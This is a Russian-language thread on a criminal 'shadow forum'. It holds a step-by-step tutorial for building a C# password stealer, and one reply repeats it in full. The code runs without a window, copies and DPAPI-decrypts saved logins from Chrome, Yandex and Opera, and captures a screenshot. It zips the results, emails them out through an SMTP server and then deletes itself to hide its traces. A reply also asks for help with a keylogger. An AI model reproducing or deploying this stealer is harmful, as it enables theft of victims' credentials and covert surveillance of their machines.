Что нового
Теневой форум

Добро пожаловать на FSELL- крупнейший теневой форум. У нас Вы сможете найти огромное количество заработка в интернете, купить паспорт, ксиву, оружие, куча многих товаров и услуг, в виде пробива, взлома, нанять киллера. Все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса, это убережет Вас от мошенников.

[Авторская статья] Пишем стиллер на C#

Allkatraz

Member
Вторая часть : https://moneymake.pw/threads/3376/
Данная статья создана лишь в ознакомительных целях
Для этого нам понадобится Microsoft Visual Studio.
ACTION
Для начала создадим проект : Файл - Создать - Проект. Выбираем консольное приложение.
https://prnt.sc/khc3gh
Чтобы нашу программу не было видно выполняем следующие действия : Проект - Свойства : SimpleStealer. В типе выходных данных ставим "Приложение Windows".
http://prntscr.com/khcfaf
Создадим папку, где будут лежать логи ( пишем это в Main'е ).
Код:
Directory.CreateDirectory(Path.GetTempPath() + "log");
Создаем класс Passwords ( Проект - Добавить класс )
https://prnt.sc/khc64k
В этот класс добавляем следующий код

Код:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
        {
            if (File.Exists(Path.GetTempPath() + @"log\Login Data"))    // Если файл по данному пути существует, то удаляем его
            {
                File.Delete(Path.GetTempPath() + @"log\Login Data");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data");      // копируем файл с паролями для того, чтобы не закрывать браузер
            dbPath = Path.GetTempPath() + @"log\Login Data";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";
            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {


                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);   // расшифровка паролей
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

                    }

                }
                conn.Close();
            }
        }
Далее : Проект - Добавить ссылку. Ищем System.Security
https://prnt.sc/khc7wg
Следующий шаг : Проект - Управление пакетами Nuget. Вбиваем в поиск "sqlite" и устанавливаем пакет
https://prnt.sc/khc8ue
Теперь переходим обратно в Program.cs и вставляем следующий код
Код:
string[] browser_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
            };
            string content = "";
            foreach (string p in browser_paths)   //идем по папкам
            {
                var pas = Passwords.ReadPass(p);   
                if (File.Exists(p))                   // если файл с паролями существует, то выполняем следующие действия
                {
                    foreach (var item in pas)
                    {
                        if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                        {
                            content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                            content += "==================\r\n";
                        }
                    }
                }
            }
            if (File.Exists(Path.GetTempPath() + @"log\Login Data"))
            {
                File.Delete(Path.GetTempPath() + @"log\Login Data");
            }
            File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл
Я выбрал три самых популярных на мой взгляд браузера : хром, яндекс и опера.
Компилим, в проводнике вбиваем %TEMP% и ищем папку "log" и наблюдаем следующий результат.
https://prnt.sc/khclx8
В качестве бонуса покажу вам как сделать скриншот экрана.
Код:
var bounds = Screen.GetBounds(new Point(0, 0));
            var bmp = new Bitmap(bounds.Width, bounds.Height);
            using (var g = Graphics.FromImage(bmp))
                g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
            bmp.Save(Path.GetTempPath() + @"log\screenshot.bmp");
Для того, чтобы всё это работало выполняем следующие действия : Проект - Добавить ссылку и ищем System.Drawing и System.Windows.Forms.
Для того, чтобы заархивировать папку вставляем следующий код
Код:
ZipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip");
Для того, чтобы он работал необходимо добавить ссылку на System.IO.Compression.FileSystem
Теперь пришло время сделать отправку на почту. Создаем новый класс MailSend и вставляем в него следующий код.
Код:
public static void Send()
        {
            MailAddress from = new MailAddress("Адрес почты, с которого мы отправим письмо", "Имя (необязательно)");
            MailAddress to = new MailAddress("Куда отправить");
            MailMessage m = new MailMessage(from, to);
            m.Subject = "Пришли пароли";
            m.Body = "<h2>Изи пароли</h2>";
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(Path.GetTempPath() + "log.zip"));
            SmtpClient smtp = new SmtpClient("smtp.rambler.ru", 587);
            smtp.Credentials = new NetworkCredential("Адрес почты, с которого мы отправим письмо", "Пароль от почты");
            smtp.EnableSsl = true;
            smtp.Send(m);
        }
Я отправлял от адреса почты, который зареган в рамблере, на почту яндекса. Если вы будете отправлять, например, с яндекса, то "smtp.rambler.ru" надо поменять на "smtp.yandex.ru" ( порт тоже может измениться поэтому гуглите : "smtp yandex port").
https://prnt.sc/khctdw
Добавляем в Main этот код
Код:
MailSend.Send();
Скрываем после себя следы.
Код:
            Directory.Delete(Path.GetTempPath() + "log", true);
            ProcessStartInfo Info = new ProcessStartInfo();
            Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath;
            Info.WindowStyle = ProcessWindowStyle.Hidden;
            Info.CreateNoWindow = true;
            Info.FileName = "cmd.exe";
            Process.Start(Info);
Для того, чтобы всё это работало, нужно добавить в начало Program.cs
Код:
using System;
using System.IO;
using System.Windows.Forms;
using System.Drawing;
using System.IO.Compression;
using System.Diagnostics;
using System.Threading;
Вот это добавить в начало Passwords.cs
Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
А вот это добавить в MailSend.cs
Код:
using System.Net;
using System.Net.Mail;
using System.IO;
Все готово, запускаем программу и ждем, когда к нам на почту придет письмо.
https://prnt.sc/khd17b
Видим, что у нас письмо появилось в спаме. Чтобы этого избежать, можно просто добавить в контакты почту, с которой мы отправляем логи.
https://prnt.sc/khd1wg
Стиллер готов. Спасибо за внимание тем, кто дочитал до конца :Roflandarova:
Если эта статья понравится людям, то напишу вторую часть. Также если будут вопросы, то пишите.
 
Последнее редактирование:

TERRIBLECY

Доверенный продавец
Продавец
Продвинутый
годно. Хоть кто-то пишет подобные статья, вместо всякой фигни
 

TERRIBLECY

Доверенный продавец
Продавец
Продвинутый
А может кто помочь с кейлогером на питоне?
 

Allkatraz

Member
Кстати, забыл сказать, что в почте, с которой вы отправляете письмо нужно разрешить работу почтовым программам. Иначе письмо не придет ( в яндексе вроде не надо, но в рамблере нужно. И в гугле тоже вроде нужно )
 

Allkatraz

Member
Следующая часть точно выйдет, в ней я исправлю удаление файла log.zip и добавлю несколько интересных функций
 

pers1981

New Member
Данная статья создана лишь в ознакомительных целях
Для этого нам понадобится Microsoft Visual Studio.
ACTION
Для начала создадим проект : Файл - Создать - Проект. Выбираем консольное приложение.
https://prnt.sc/khc3gh
Чтобы нашу программу не было видно выполняем следующие действия : Проект - Свойства : SimpleStealer. В типе выходных данных ставим "Приложение Windows".
http://prntscr.com/khcfaf
Создадим папку, где будут лежать логи ( пишем это в Main'е ).
Код:
Directory.CreateDirectory(Path.GetTempPath() + "log");
Создаем класс Passwords ( Проект - Добавить класс )
https://prnt.sc/khc64k
В этот класс добавляем следующий код

Код:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
        {
            if (File.Exists(Path.GetTempPath() + @"log\Login Data"))    // Если файл по данному пути существует, то удаляем его
            {
                File.Delete(Path.GetTempPath() + @"log\Login Data");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data");      // копируем файл с паролями для того, чтобы не закрывать браузер
            dbPath = Path.GetTempPath() + @"log\Login Data";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";
            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {


                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);   // расшифровка паролей
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

                    }

                }
                conn.Close();
            }
        }
Далее : Проект - Добавить ссылку. Ищем System.Security
https://prnt.sc/khc7wg
Следующий шаг : Проект - Управление пакетами Nuget. Вбиваем в поиск "sqlite" и устанавливаем пакет
https://prnt.sc/khc8ue
Теперь переходим обратно в Program.cs и вставляем следующий код
Код:
string[] browser_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
            };
            string content = "";
            foreach (string p in browser_paths)   //идем по папкам
            {
                var pas = Passwords.ReadPass(p);   
                if (File.Exists(p))                   // если файл с паролями существует, то выполняем следующие действия
                {
                    foreach (var item in pas)
                    {
                        if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                        {
                            content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                            content += "==================\r\n";
                        }
                    }
                }
            }
            if (File.Exists(Path.GetTempPath() + @"log\Login Data"))
            {
                File.Delete(Path.GetTempPath() + @"log\Login Data");
            }
            File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл
Я выбрал три самых популярных на мой взгляд браузера : хром, яндекс и опера.
Компилим, в проводнике вбиваем %TEMP% и ищем папку "log" и наблюдаем следующий результат.
https://prnt.sc/khclx8
В качестве бонуса покажу вам как сделать скриншот экрана.
Код:
var bounds = Screen.GetBounds(new Point(0, 0));
            var bmp = new Bitmap(bounds.Width, bounds.Height);
            using (var g = Graphics.FromImage(bmp))
                g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
            bmp.Save(Path.GetTempPath() + @"log\screenshot.bmp");
Для того, чтобы всё это работало выполняем следующие действия : Проект - Добавить ссылку и ищем System.Drawing и System.Windows.Forms.
Для того, чтобы заархивировать папку вставляем следующий код
Код:
ZipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip");
Для того, чтобы он работал необходимо добавить ссылку на System.IO.Compression.FileSystem
Теперь пришло время сделать отправку на почту. Создаем новый класс MailSend и вставляем в него следующий код.
Код:
public static void Send()
        {
            MailAddress from = new MailAddress("Адрес почты, с которого мы отправим письмо", "Имя (необязательно)");
            MailAddress to = new MailAddress("Куда отправить");
            MailMessage m = new MailMessage(from, to);
            m.Subject = "Пришли пароли";
            m.Body = "<h2>Изи пароли</h2>";
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(Path.GetTempPath() + "log.zip"));
            SmtpClient smtp = new SmtpClient("smtp.rambler.ru", 587);
            smtp.Credentials = new NetworkCredential("Адрес почты, с которого мы отправим письмо", "Пароль от почты");
            smtp.EnableSsl = true;
            smtp.Send(m);
        }
Я отправлял от адреса почты, который зареган в рамблере, на почту яндекса. Если вы будете отправлять, например, с яндекса, то "smtp.rambler.ru" надо поменять на "smtp.yandex.ru" ( порт тоже может измениться поэтому гуглите : "smtp yandex port").
https://prnt.sc/khctdw
Добавляем в Main этот код
Код:
MailSend.Send();
Скрываем после себя следы.
Код:
            Directory.Delete(Path.GetTempPath() + "log", true);
            ProcessStartInfo Info = new ProcessStartInfo();
            Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath;
            Info.WindowStyle = ProcessWindowStyle.Hidden;
            Info.CreateNoWindow = true;
            Info.FileName = "cmd.exe";
            Process.Start(Info);
Для того, чтобы всё это работало, нужно добавить в начало Program.cs
Код:
using System;
using System.IO;
using System.Windows.Forms;
using System.Drawing;
using System.IO.Compression;
using System.Diagnostics;
using System.Threading;
Вот это добавить в начало Passwords.cs
Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
А вот это добавить в MailSend.cs
Код:
using System.Net;
using System.Net.Mail;
using System.IO;
Все готово, запускаем программу и ждем, когда к нам на почту придет письмо.
https://prnt.sc/khd17b
Видим, что у нас письмо появилось в спаме. Чтобы этого избежать, можно просто добавить в контакты почту, с которой мы отправляем логи.
https://prnt.sc/khd1wg
Стиллер готов. Спасибо за внимание тем, кто дочитал до конца :Roflandarova:
Если эта статья понравится людям, то напишу вторую часть. Также если будут вопросы, то пишите.
У меня вопрос а где находиться Main'е в который надо написать код?
 
Вверх